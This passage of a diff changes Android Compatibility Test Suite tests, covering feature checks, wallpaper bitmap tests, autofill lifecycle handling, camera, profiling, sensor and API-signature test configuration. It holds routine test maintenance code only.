                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) &&
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED) &&
+                !isAndroidEmulator() &&
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_PC)) {
             // USB accessory mode is only a requirement for devices with USB ports supporting
             // peripheral mode. As there is no public API to distinguish a device with only host
@@ -504,7 +507,7 @@
         }
     }
 
-  public void testWifiFeature() throws Exception {
+    public void testWifiFeature() throws Exception {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
             // no WiFi, skip the test
             return;
@@ -519,6 +522,13 @@
         }
     }
 
+    public void testAudioOutputFeature() throws Exception {
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) ||
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
+            assertAvailable(PackageManager.FEATURE_AUDIO_OUTPUT);
+        }
+    }
+
     private void assertAvailable(String feature) {
         assertTrue("PackageManager#hasSystemFeature should return true for " + feature,
                 mPackageManager.hasSystemFeature(feature));
@@ -543,6 +553,10 @@
         }
     }
 
+    private boolean isAndroidEmulator() {
+        return PropertyUtil.propertyEquals("ro.kernel.qemu", "1");
+    }
+
     private void assertFeature(boolean exist, String feature) {
         if (exist) {
             assertAvailable(feature);
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index e267503..9694d17 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -100,6 +100,52 @@
     }
 
     @Test
+    public void setBitmapTest_1x1Pixel() {
+        ensureCleanState();
+
+        Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(tmpWallpaper);
+        canvas.drawColor(Color.RED);
+
+        try {
+            int which = WallpaperManager.FLAG_SYSTEM;
+            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
+            mWallpaperManager.suggestDesiredDimensions(tmpWallpaper.getWidth(),
+                    tmpWallpaper.getHeight());
+            mWallpaperManager.setBitmap(tmpWallpaper);
+            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
+            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        } finally {
+            tmpWallpaper.recycle();
+        }
+    }
+
+    @Test
+    public void setBitmapTest_1x1Pixel_FullscreenDesired() {
+        ensureCleanState();
+
+        Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(tmpWallpaper);
+        canvas.drawColor(Color.RED);
+
+        try {
+            int which = WallpaperManager.FLAG_SYSTEM;
+            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
+            final Point displaySize = getScreenSize();
+            mWallpaperManager.suggestDesiredDimensions(displaySize.x, displaySize.y);
+            mWallpaperManager.setBitmap(tmpWallpaper);
+            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
+            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        } finally {
+            tmpWallpaper.recycle();
+        }
+    }
+
+    @Test
     public void setResourceTest() {
         try {
             int which = WallpaperManager.FLAG_SYSTEM;
@@ -226,33 +272,30 @@
      * Suggesting desired dimensions is only a hint to the system that can be ignored.
      *
      * Test if the desired minimum width or height the WallpaperManager returns
-     * is greater than 0. If so, then we check whether that the size is at least the
-     * as big as the screen.
+     * is greater than 0.
      */
     @Test
     public void suggestDesiredDimensionsTest() {
         final Point min = getScreenSize();
         final int w = min.x * 3;
         final int h = min.y * 2;
-        assertDesiredMinimum(new Point(min.x / 2, min.y / 2), min);
+        assertDesiredDimension(new Point(min.x / 2, min.y / 2), new Point(min.x / 2, min.y / 2));
 
-        assertDesiredMinimum(new Point(w, h), min);
+        assertDesiredDimension(new Point(w, h), new Point(w, h));
 
-        assertDesiredMinimum(new Point(min.x / 2, h), min);
+        assertDesiredDimension(new Point(min.x / 2, h), new Point(min.x / 2, h));
 
-        assertDesiredMinimum(new Point(w, min.y / 2), min);
+        assertDesiredDimension(new Point(w, min.y / 2), new Point(w, min.y / 2));
     }
 
-    private void assertDesiredMinimum(Point suggestedSize, Point minSize) {
+    private void assertDesiredDimension(Point suggestedSize, Point expectedSize) {
         mWallpaperManager.suggestDesiredDimensions(suggestedSize.x, suggestedSize.y);
         Point actualSize = new Point(mWallpaperManager.getDesiredMinimumWidth(),
                 mWallpaperManager.getDesiredMinimumHeight());
-        if (actualSize.x > 0 || actualSize.y > 0) {
-            if ((actualSize.x < minSize.x || actualSize.y < minSize.y)) {
-                throw new AssertionError("Expected at least x: " + minSize.x + " y: "
-                        + minSize.y + ", got x: " + actualSize.x +
-                        " y: " + actualSize.y);
-            }
+        if (actualSize.x <= 0 || actualSize.y <= 0) {
+            throw new AssertionError("Expected x: " + expectedSize.x + " y: "
+                    + expectedSize.y + ", got x: " + actualSize.x +
+                    " y: " + actualSize.y);
         }
     }
 
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 5feaf8d46..805bd67 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING"/>
     <uses-permission android:name="android.permission.INJECT_EVENTS" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
 
     <application>
 
diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml
index 1707153..ee21a00 100644
--- a/tests/autofillservice/res/layout/login_activity.xml
+++ b/tests/autofillservice/res/layout/login_activity.xml
@@ -80,24 +80,28 @@
             android:id="@+id/clear"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Clear" />
 
         <Button
             android:id="@+id/save"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Save" />
 
         <Button
             android:id="@+id/login"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Login" />
 
         <Button
             android:id="@+id/cancel"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Cancel" />
     </LinearLayout>
 
@@ -106,4 +110,4 @@
         android:layout_width="match_parent"
         android:layout_height="wrap_content" />
 
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index 642e372..a32351a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -80,7 +80,7 @@
         mUiBot.setScreenOrientation(UiBot.PORTRAIT);
         try {
             runShellCommand("wm size 1080x1920");
-            runShellCommand("wm density 420");
+            runShellCommand("wm density 320");
             saveUiRestoredAfterTappingLinkTest(
                     PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
         } finally {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
index 6f6b75a..ff955dd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
@@ -89,6 +89,7 @@
             Log.e(TAG, "could write destroyed marker: " + e);
         }
         super.onDestroy();
+        sInstance = null;
     }
 
     /**
@@ -127,4 +128,8 @@
             sInstance.finish();
         }
     }
+
+    public static boolean hasInstance() {
+        return sInstance != null;
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index 1ae4418..18ef5aa 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -34,8 +34,11 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import android.app.ActivityManager;
+import android.content.Context;
 import android.app.PendingIntent;
 import android.app.assist.AssistStructure;
 import android.content.Intent;
@@ -44,6 +47,7 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
 import android.view.autofill.AutofillValue;
 
 import org.junit.After;
@@ -57,6 +61,8 @@
  */
 @AppModeFull // This test requires android.permission.WRITE_EXTERNAL_STORAGE
 public class SessionLifecycleTest extends AutoFillServiceTestCase {
+    private static final String TAG = "SessionLifecycleTest";
+
     private static final String ID_BUTTON = "button";
     private static final String ID_CANCEL = "cancel";
 
@@ -103,6 +109,10 @@
                 + "-n android.autofillservice.cts/.OutOfProcessLoginActivityFinisherReceiver");
         mUiBot.assertGoneByRelativeId(ID_USERNAME, Timeouts.ACTIVITY_RESURRECTION);
 
+        if (!OutOfProcessLoginActivity.hasInstance()) {
+            Log.v(TAG, "@After: Not waiting for oop activity to be destroyed");
+            return;
+        }
         // Waiting for activity to be destroyed (destroy marker appears)
         eventually("getDestroyedMarker()", () -> {
             return getDestroyedMarker(getContext()).exists();
@@ -141,6 +151,9 @@
     @Test
     public void testDatasetAuthResponseWhileAutofilledAppIsLifecycled() throws Exception {
         assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
+        final ActivityManager activityManager = (ActivityManager) getContext()
+                .getSystemService(Context.ACTIVITY_SERVICE);
+        assumeFalse(activityManager.isLowRamDevice());
 
         // Set service.
         enableService();
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 98fa7af..f72fcd7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -1097,7 +1097,7 @@
             }
 
             for (int inFormat : inputFormats) {
-                int outputFormats [] = config.getValidOutputFormatsForInput(inputFormat);
+                int outputFormats [] = config.getValidOutputFormatsForInput(inFormat);
                 for (int outFormat : outputFormats) {
                     if (inFormat == outFormat) {
                         inputFormat = inFormat;
diff --git a/tests/framework/base/activitymanager/AndroidManifest.xml b/tests/framework/base/activitymanager/AndroidManifest.xml
old mode 100644
new mode 100755
index 5b9672b..f442cdb6
--- a/tests/framework/base/activitymanager/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
     <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
 
     <application android:label="CtsActivityManagerDeviceTestCases">
         <uses-library android:name="android.test.runner" />
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
index b772ce2..30f7a85 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
@@ -29,10 +29,14 @@
 
     private boolean mReady;
 
+    private boolean mStarted;
+    private Bundle mExtras;
+
     @Override
     public void onReady() {
         super.onReady();
         mReady = true;
+        showSessionIfReady();
     }
 
     @Override
@@ -43,13 +47,18 @@
             stopSelf();
             return START_NOT_STICKY;
         }
-        if (mReady) {
-            Bundle extras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
-            showSession(extras, 0);
-        }
+        mExtras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
+        mStarted = true;
+        showSessionIfReady();
         return START_NOT_STICKY;
     }
 
+    private void showSessionIfReady() {
+        if (mReady && mStarted) {
+            showSession(mExtras, 0);
+        }
+    };
+
     /**
      * Starts the assistant voice interaction service, which initiates a new session that starts
      * the assistant activity.
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
index 6f2ec8d..74f4546 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
@@ -26,14 +26,9 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.ComponentName;
-import android.support.test.InstrumentationRegistry;
 
-import org.junit.Before;
 import org.junit.Test;
 
-import java.io.File;
-import java.io.FileInputStream;
-
 /**
  * Build/Install/Run:
  *     atest CtsActivityManagerDeviceTestCases:ActivityManagerAmProfileTests
@@ -46,17 +41,6 @@
     private static final String FIRST_WORD_NO_STREAMING = "*version\n";
     private static final String FIRST_WORD_STREAMING = "SLOW";  // Magic word set by runtime.
 
-    private String mReadableFilePath = null;
-
-    @Before
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mReadableFilePath = InstrumentationRegistry.getContext()
-            .getExternalFilesDir(null)
-            .getPath() + "/profile.trace";
-    }
-
     /**
      * Test am profile functionality with the following 3 configurable options:
      *    starting the activity before start profiling? yes;
@@ -122,10 +106,11 @@
         launchActivity(DEBUGGABLE_APP_ACTIVITY);
 
         executeShellCommand(getStopProfileCmd(DEBUGGABLE_APP_ACTIVITY));
-        // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
+
+        // Sleep for 0.3 second (300 milliseconds) so the generation of the profiling
         // file is complete.
         try {
-            Thread.sleep(100);
+            Thread.sleep(300);
         } catch (InterruptedException e) {
             //ignored
         }
@@ -160,28 +145,17 @@
 
     private void verifyOutputFileFormat(final boolean streaming) throws Exception {
         // This is a hack. The am service has to write to /data/local/tmp because it doesn't have
-        // access to the sdcard but the test app can't read there
-        executeShellCommand("mv " + OUTPUT_FILE_PATH + " " + mReadableFilePath);
+        // access to the sdcard. The test cannot read from /data/local/tmp. This allows us to
+        // scan the content to validate what is needed for this test.
+        final String firstLine = executeShellCommand("head -1 " + OUTPUT_FILE_PATH);
 
         final String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
-        final byte[] data = readFile(mReadableFilePath);
-        assertThat("data size", data.length, greaterThanOrEqualTo(expectedFirstWord.length()));
-        final String actualFirstWord = new String(data, 0, expectedFirstWord.length());
+        assertThat(
+                "data size", firstLine.length(), greaterThanOrEqualTo(expectedFirstWord.length()));
+        final String actualFirstWord = firstLine.substring(0, expectedFirstWord.length());
         assertEquals("Unexpected first word", expectedFirstWord, actualFirstWord);
 
         // Clean up.
-        executeShellCommand("rm -f " + OUTPUT_FILE_PATH + " " + mReadableFilePath);
-    }
-
-    private static byte[] readFile(String clientPath) throws Exception {
-        final File file = new File(clientPath);
-        assertTrue("File not found on client: " + clientPath, file.isFile());
-        final int size = (int) file.length();
-        final byte[] bytes = new byte[size];
-        try (final FileInputStream fis = new FileInputStream(file)) {
-            final int readSize = fis.read(bytes, 0, bytes.length);
-            assertEquals("Read all data", bytes.length, readSize);
-            return bytes;
-        }
+        executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
     }
 }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java
index 7f431c8..f625fdd 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java
@@ -334,8 +334,13 @@
                 slibNames, deviceConfig.sharedLibraries);
 
         FeatureInfo[] features = mPm.getSystemAvailableFeatures();
-        Arrays.sort(features, (o1, o2) ->
-                (o1.name == o2.name ? 0 : (o1.name == null ? -1 : o1.name.compareTo(o2.name))));
+        Arrays.sort(features, (o1, o2) -> {
+            if (o1.name == o2.name) return 0;
+            if (o1.name == null) return -1;
+            if (o2.name == null) return 1;
+            return o1.name.compareTo(o2.name);
+        });
+
         int size = 0;
         for (int i = 0; i < features.length; i++) {
             if (features[i].name != null) {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
index b866101..dbc93b4 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -565,7 +565,7 @@
 
         // Launch first PIP activity
         launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        waitForEnterPip(PIP_ACTIVITY);
+        waitForEnterPipAnimationComplete(PIP_ACTIVITY);
 
         // Launch second PIP activity
         launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
old mode 100644
new mode 100755
index a53993b..bf3d1ea
--- a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
@@ -327,6 +327,7 @@
             pressBackButton();
             mAmWmState.waitForKeyguardShowingAndNotOccluded();
             mAmWmState.waitForDisplayUnfrozen();
+            mAmWmState.waitForAppTransitionIdle();
             mAmWmState.assertSanity();
             mAmWmState.assertHomeActivityVisible(false);
             mAmWmState.assertKeyguardShowingAndNotOccluded();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
index 9903653..153a4cc 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
@@ -150,12 +150,14 @@
                 occludedActivityState(translucentActivity, topOpaqueActivity),
                 state(topOpaqueActivity, ON_RESUME));
 
-        getLifecycleLog().clear();
         try (final RotationSession rotationSession = new RotationSession()) {
             if (!supportsLockedUserRotation(
                     rotationSession, translucentActivity.getDisplay().getDisplayId())) {
                 return;
             }
+
+            getLifecycleLog().clear();
+
             final int current = rotationSession.get();
             // Set new rotation to cause a configuration change.
             switch (current) {
diff --git a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
index e7b3453..c044981 100644
--- a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
@@ -18,7 +18,8 @@
         package="android.server.wm.dndsourceapp"
         android:targetSandboxVersion="2">
     <application android:label="CtsDnDSource">
-        <activity android:name="android.server.wm.dndsourceapp.DragSource">
+        <activity android:name="android.server.wm.dndsourceapp.DragSource"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
index 09a0bc9..7d50b70 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
@@ -18,7 +18,8 @@
         package="android.server.wm.dndtargetapp"
         android:targetSandboxVersion="2">
     <application android:label="CtsDnDTarget">
-        <activity android:name="android.server.wm.dndtargetapp.DropTarget">
+        <activity android:name="android.server.wm.dndtargetapp.DropTarget"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/tests/leanbackjank/app/res/layout/icon_header_item.xml b/tests/leanbackjank/app/res/layout/icon_header_item.xml
index 56c8488..ce4942d 100644
--- a/tests/leanbackjank/app/res/layout/icon_header_item.xml
+++ b/tests/leanbackjank/app/res/layout/icon_header_item.xml
@@ -17,6 +17,8 @@
 <androidx.leanback.widget.NonOverlappingLinearLayout
     xmlns:android="http://schemas.android.com/apk/res/android"
     android:orientation="horizontal"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
     android:layout_width="match_parent"
     android:layout_height="match_parent">
 
diff --git a/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java b/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java
index ded9ea1..0c19395 100644
--- a/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java
+++ b/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java
@@ -32,7 +32,7 @@
     private static final long WAIT_TIMEOUT = 5 * MILLIS_PER_SECOND;
     private static final int SCROLL_COUNT = 100;
     private static final int SCROLL_INTERVAL_MILLIS = 200;
-    private static final int PRE_SCROLL_DELAY_MILLIS = 0;
+    private static final int PRE_SCROLL_DELAY_MILLIS = 500;
     private static final int PRE_SCROLL_IDLE_TIME = 2 * MILLIS_PER_SECOND;
     private static final int SAMPLING_DURATION_SECONDS = 2;
     private static final int SAMPLING_DURATION_MILLIS =
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index 2e92706..8e455bf 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -30,7 +30,7 @@
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
-        <option name="runtime-hint" value="10m"/>
-        <option name="test-timeout" value="600000" />
+        <option name="runtime-hint" value="16m"/>
+        <option name="test-timeout" value="3600000" />
     </test>
 </configuration>
diff --git a/tests/sensor/jni/nativeTestHelper.cpp b/tests/sensor/jni/nativeTestHelper.cpp
index 3c7df9a..69eeba6 100644
--- a/tests/sensor/jni/nativeTestHelper.cpp
+++ b/tests/sensor/jni/nativeTestHelper.cpp
@@ -33,7 +33,11 @@
     jclass exClass;
     const char *className = "java/lang/AssertionError";
     exClass = env->FindClass(className);
-    env->ThrowNew(exClass, msg);
+    jmethodID constructor = env->GetMethodID(exClass, "<init>",
+                                             "(Ljava/lang/String;Ljava/lang/Throwable;)V");
+    jstring msgStr = env->NewStringUTF(msg);
+    jobject exception = env->NewObject(exClass, constructor, msgStr, nullptr);
+    env->Throw(static_cast<jthrowable>(exception));
     free(msg);
 }
 
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
index 23c122d..7988ef3 100644
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -18,10 +18,13 @@
 
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.content.res.Configuration;
 import android.hardware.Sensor;
 import android.hardware.SensorDirectChannel;
 import android.hardware.SensorManager;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Checks if Hifi sensors  or VR High performance mode sensors
  * are supported. When supported, checks individual support for
@@ -39,6 +42,7 @@
     private SensorManager mSensorManager;
     private boolean mAreHifiSensorsSupported;
     private boolean mVrHighPerformanceModeSupported;
+    private boolean mIsVrHeadset;
 
     @Override
     public void setUp() {
@@ -46,32 +50,40 @@
         // Tests will only run if either HIFI_SENSORS or VR high performance mode is supported.
         mAreHifiSensorsSupported = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
         mVrHighPerformanceModeSupported = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
+        mIsVrHeadset = (getContext().getResources().getConfiguration().uiMode
+            & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
         if (mAreHifiSensorsSupported || mVrHighPerformanceModeSupported) {
             mSensorManager =
                     (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
         }
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsAccelerometer() {
         checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsAccelerometerUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGyroscope() {
         checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGyroscopeUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGeoMagneticField() {
         checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsMagneticFieldUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
     }
@@ -120,7 +132,7 @@
         if (mAreHifiSensorsSupported || isVrSensor) {
             Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
             assertTrue(sensor != null);
-            if (isVrSensor) {
+            if (isVrSensor && mIsVrHeadset) {
                 assertTrue(sensor.isDirectChannelTypeSupported(SensorDirectChannel.TYPE_HARDWARE_BUFFER));
             }
         }
diff --git a/tests/signature/api-check/system-annotation/Android.mk b/tests/signature/api-check/system-annotation/Android.mk
index d740d0f..53f1e56 100644
--- a/tests/signature/api-check/system-annotation/Android.mk
+++ b/tests/signature/api-check/system-annotation/Android.mk
@@ -22,5 +22,7 @@
 LOCAL_SIGNATURE_API_FILES := \
     system-current.api \
     system-removed.api \
+    car-system-current.api \
+    car-system-removed.api \
 
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 56a4cca..5d2f13f 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -26,6 +26,12 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="car-system-current.api->/data/local/tmp/signature-test/car-system-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="car-system-removed.api->/data/local/tmp/signature-test/car-system-removed.api" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemApiAnnotationTestCases.apk" />
@@ -34,7 +40,7 @@
         <option name="package" value="android.signature.cts.api.system_annotation" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.AnnotationTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api,system-removed.api" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api,system-removed.api,car-system-current.api,car-system-removed.api" />
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="android.annotation.SystemApi" />
         <option name="runtime-hint" value="30s" />
     </test>
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index b257c5e..c9c2a60 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -42,6 +42,8 @@
 $(eval $(call build_xml_api_file,android-test-base-current.api,frameworks/base/test-base/api/android-test-base-current.txt))
 $(eval $(call build_xml_api_file,android-test-mock-current.api,frameworks/base/test-mock/api/android-test-mock-current.txt))
 $(eval $(call build_xml_api_file,android-test-runner-current.api,frameworks/base/test-runner/api/android-test-runner-current.txt))
+$(eval $(call build_xml_api_file,car-system-current.api,packages/services/Car/car-lib/api/system-current.txt))
+$(eval $(call build_xml_api_file,car-system-removed.api,packages/services/Car/car-lib/api/system-removed.txt))
 $(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
   $(if $(call math_is_number,$(ver)),\
     $(eval $(call build_xml_api_file,system-$(ver).api,prebuilts/sdk/system-api/$(ver).txt))\
diff --git a/tests/signature/dex-checker/dex-checker.cpp b/tests/signature/dex-checker/dex-checker.cpp
index 4a80e02..61d9e32 100644
--- a/tests/signature/dex-checker/dex-checker.cpp
+++ b/tests/signature/dex-checker/dex-checker.cpp
@@ -49,7 +49,8 @@
   ScopedUtfChars utf_type(env, type);
   jfieldID fid = env->GetFieldID(klass, utf_name.c_str(), utf_type.c_str());
   if (env->ExceptionCheck()) {
-    env->ExceptionClear();
